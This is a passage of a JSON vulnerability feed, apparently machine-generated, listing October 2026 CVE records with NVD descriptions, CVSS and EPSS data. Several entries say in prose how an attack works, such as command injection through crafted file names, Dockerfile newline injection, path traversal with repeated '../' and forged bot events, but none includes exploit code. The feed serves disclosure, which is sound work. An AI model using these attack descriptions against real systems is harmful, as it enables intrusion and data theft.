CVE-2026-112269","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112269","type":"primary","publishedAt":"2026-10-19T14:17:04.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112269&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112269, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112266","cveId":"CVE-2026-112266","aliases":[],"kind":"vulnerability","title":"SGLang through 0.5.22 contains a denial of service vulnerability that allows API clients to abort other users' in-flight generation requests by supplying a short client-controlled...","summary":"SGLang through 0.5.22 contains a denial of service vulnerability that allows API clients to abort other users' in-flight generation requests by supplying a short client-controlled rid. Attackers can submit streaming /generate requests with single hex character rids and disconnect, triggering prefix-matching abort logic that terminates all other clients' requests.","detail":"SGLang through 0.5.22 contains a denial of service vulnerability that allows API clients to abort other users' in-flight generation requests by supplying a short client-controlled rid. Attackers can submit streaming /generate requests with single hex character rids and disconnect, triggering prefix-matching abort logic that terminates all other clients' requests.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:03.987Z","updatedAt":"2026-10-19T15:17:05.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112266","asOf":"2026-10-19T15:17:05.480Z"},"epss":{"probability":0.00421,"percentile":0.36186,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112266&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112266","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112266","type":"primary","publishedAt":"2026-10-19T14:17:03.987Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112266&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112266, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112265","cveId":"CVE-2026-112265","aliases":[],"kind":"vulnerability","title":"LangBot through 4.11.0 contains a missing authenticity verification vulnerability that allows unauthenticated attackers to inject forged Lark/Feishu events by skipping signature...","summary":"LangBot through 4.11.0 contains a missing authenticity verification vulnerability that allows unauthenticated attackers to inject forged Lark/Feishu events by skipping signature checks. Attackers knowing a bot UUID can POST fabricated im.message.receive_v1 or card.action.trigger events to drive the LLM pipeline, tools, and approvals as other users.","detail":"LangBot through 4.11.0 contains a missing authenticity verification vulnerability that allows unauthenticated attackers to inject forged Lark/Feishu events by skipping signature checks. Attackers knowing a bot UUID can POST fabricated im.message.receive_v1 or card.action.trigger events to drive the LLM pipeline, tools, and approvals as other users.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:03.277Z","updatedAt":"2026-10-19T17:17:14.843Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112265","asOf":"2026-10-19T17:17:14.843Z"},"epss":{"probability":0.00154,"percentile":0.04467,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112265&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112265","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112265","type":"primary","publishedAt":"2026-10-19T14:17:03.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112265&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112265, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112264","cveId":"CVE-2026-112264","aliases":[],"kind":"vulnerability","title":"BentoML through 1.4.39 contains a Dockerfile instruction injection vulnerability that allows attackers to add arbitrary build instructions by embedding newlines in docker.env...","summary":"BentoML through 1.4.39 contains a Dockerfile instruction injection vulnerability that allows attackers to add arbitrary build instructions by embedding newlines in docker.env mapping keys rendered by the legacy base.j2 template. Attackers can supply a crafted bentofile.yaml or imported bento archive so that bentoml containerize executes injected RUN instructions during docker build, accessing build secrets and poisoning images.","detail":"BentoML through 1.4.39 contains a Dockerfile instruction injection vulnerability that allows attackers to add arbitrary build instructions by embedding newlines in docker.env mapping keys rendered by the legacy base.j2 template. Attackers can supply a crafted bentofile.yaml or imported bento archive so that bentoml containerize executes injected RUN instructions during docker build, accessing build secrets and poisoning images.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:03.003Z","updatedAt":"2026-10-19T21:13:39.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112264","asOf":"2026-10-19T21:13:39.973Z"},"epss":{"probability":0.00218,"percentile":0.12202,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112264&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112264","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112264","type":"primary","publishedAt":"2026-10-19T14:17:03.003Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112264&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112264, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112263","cveId":"CVE-2026-112263","aliases":[],"kind":"vulnerability","title":"Television (tv) 0.15.0 through 0.15.9 contains an OS command injection vulnerability that allows attackers to run shell commands through improperly escaped single quotes in...","summary":"Television (tv) 0.15.0 through 0.15.9 contains an OS command injection vulnerability that allows attackers to run shell commands through improperly escaped single quotes in format_command. Attackers can plant a file with a crafted name containing an apostrophe so that triggering an action like the default edit action executes commands with victim privileges.","detail":"Television (tv) 0.15.0 through 0.15.9 contains an OS command injection vulnerability that allows attackers to run shell commands through improperly escaped single quotes in format_command. Attackers can plant a file with a crafted name containing an apostrophe so that triggering an action like the default edit action executes commands with victim privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:02.787Z","updatedAt":"2026-10-22T03:16:36.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112263","asOf":"2026-10-22T03:16:36.360Z"},"epss":{"probability":0.00659,"percentile":0.51246,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112263&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112263","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112263","type":"primary","publishedAt":"2026-10-19T14:17:02.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112263&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112263, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112262","cveId":"CVE-2026-112262","aliases":[],"kind":"vulnerability","title":"RisingWave before 3.1.0 contains a missing authorization vulnerability that allows low-privileged SQL users to read and write arbitrary server files by creating posix_fs sources...","summary":"RisingWave before 3.1.0 contains a missing authorization vulnerability that allows low-privileged SQL users to read and write arbitrary server files by creating posix_fs sources and fs sinks. Attackers holding schema CREATE privilege can set posix_fs.root or fs.path to any directory to read credentials and keys or write files as root.","detail":"RisingWave before 3.1.0 contains a missing authorization vulnerability that allows low-privileged SQL users to read and write arbitrary server files by creating posix_fs sources and fs sinks. Attackers holding schema CREATE privilege can set posix_fs.root or fs.path to any directory to read credentials and keys or write files as root.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:02.633Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112262","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00288,"percentile":0.21123,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112262","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112262","type":"primary","publishedAt":"2026-10-19T14:17:02.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112146","cveId":"CVE-2026-112146","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in D-Link E15, M32, R15 and R32. This issue affects some unknown processing of the file /etc/emDaemon/passwd of the component MQTT Broker.","summary":"A vulnerability was detected in D-Link E15, M32, R15 and R32. This issue affects some unknown processing of the file /etc/emDaemon/passwd of the component MQTT Broker. The manipulation results in hard-coded credentials. It is possible to launch the attack remotely. The exploit is now public and may be used.","detail":"A vulnerability was detected in D-Link E15, M32, R15 and R32. This issue affects some unknown processing of the file /etc/emDaemon/passwd of the component MQTT Broker. The manipulation results in hard-coded credentials. It is possible to launch the attack remotely. The exploit is now public and may be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:02.317Z","updatedAt":"2026-10-19T18:17:03.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":["D-Link"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112146","asOf":"2026-10-19T18:17:03.040Z"},"epss":{"probability":0.00443,"percentile":0.38253,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112146&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112146","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112146","type":"primary","publishedAt":"2026-10-19T14:17:02.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112146&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112146, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112145","cveId":"CVE-2026-112145","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in speaches-ai speaches up to 0.9.0-rc.3. This vulnerability affects the function PyannoteDiarizationModelManager._load_fn of the file...","summary":"A security vulnerability has been detected in speaches-ai speaches up to 0.9.0-rc.3. This vulnerability affects the function PyannoteDiarizationModelManager._load_fn of the file src/speaches/executors/pyannote_diarization.py of the component Pyannote Diarization Model Loading. The manipulation of the argument model leads to use of externally-controlled input to select classes or code. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The feature was introduced in PR #628 (feat/switch to pyannote audio), merged as commit 870e1e16a73452496e99d49f759eabd692a8e0e0. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security vulnerability has been detected in speaches-ai speaches up to 0.9.0-rc.3. This vulnerability affects the function PyannoteDiarizationModelManager._load_fn of the file src/speaches/executors/pyannote_diarization.py of the component Pyannote Diarization Model Loading. The manipulation of the argument model leads to use of externally-controlled input to select classes or code. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The feature was introduced in PR #628 (feat/switch to pyannote audio), merged as commit 870e1e16a73452496e99d49f759eabd692a8e0e0. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:02.140Z","updatedAt":"2026-10-22T03:16:36.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112145","asOf":"2026-10-22T03:16:36.030Z"},"epss":{"probability":0.00427,"percentile":0.36703,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112145&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112145","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112145","type":"primary","publishedAt":"2026-10-19T14:17:02.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112145&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112145, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112143","cveId":"CVE-2026-112143","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this issue is some unknown functionality.","summary":"A security flaw has been discovered in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this issue is some unknown functionality. Performing a manipulation results in missing authentication. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. Multiple endpoints are affected. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security flaw has been discovered in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this issue is some unknown functionality. Performing a manipulation results in missing authentication. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. Multiple endpoints are affected. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:01.800Z","updatedAt":"2026-10-19T17:17:13.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112143","asOf":"2026-10-19T17:17:13.060Z"},"epss":{"probability":0.00514,"percentile":0.43541,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112143&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112143","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112143","type":"primary","publishedAt":"2026-10-19T14:17:01.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112143&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112143, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111915","cveId":"CVE-2026-111915","aliases":[],"kind":"vulnerability","title":"Yank Note before 3.93.1 contains a path traversal vulnerability that allows unauthenticated remote attackers to read arbitrary files via the path or doc parameter of /api/help.","summary":"Yank Note before 3.93.1 contains a path traversal vulnerability that allows unauthenticated remote attackers to read arbitrary files via the path or doc parameter of /api/help. Attackers can supply repeated '../' segments, which bypass the single-replacement sanitization in the publicly allowlisted endpoint, to read SSH keys, configuration, or notes.","detail":"Yank Note before 3.93.1 contains a path traversal vulnerability that allows unauthenticated remote attackers to read arbitrary files via the path or doc parameter of /api/help. Attackers can supply repeated '../' segments, which bypass the single-replacement sanitization in the publicly allowlisted endpoint, to read SSH keys, configuration, or notes.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T14:17:00.740Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111915","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00455,"percentile":0.39221,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111915&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111915","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111915","type":"primary","publishedAt":"2026-10-19T14:17:00.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111915&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111915, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112142","cveId":"CVE-2026-112142","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this vulnerability is an unknown functionality...","summary":"A vulnerability was identified in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this vulnerability is an unknown functionality of the file dodelete.php of the component Registration-Delete Handler. Such manipulation of the argument ID leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was identified in satya-vinay Events-Management-System up to 437c77ceb69bf9fe2e3f4f46f7871b83f425383a. Affected by this vulnerability is an unknown functionality of the file dodelete.php of the component Registration-Delete Handler. Such manipulation of the argument ID leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 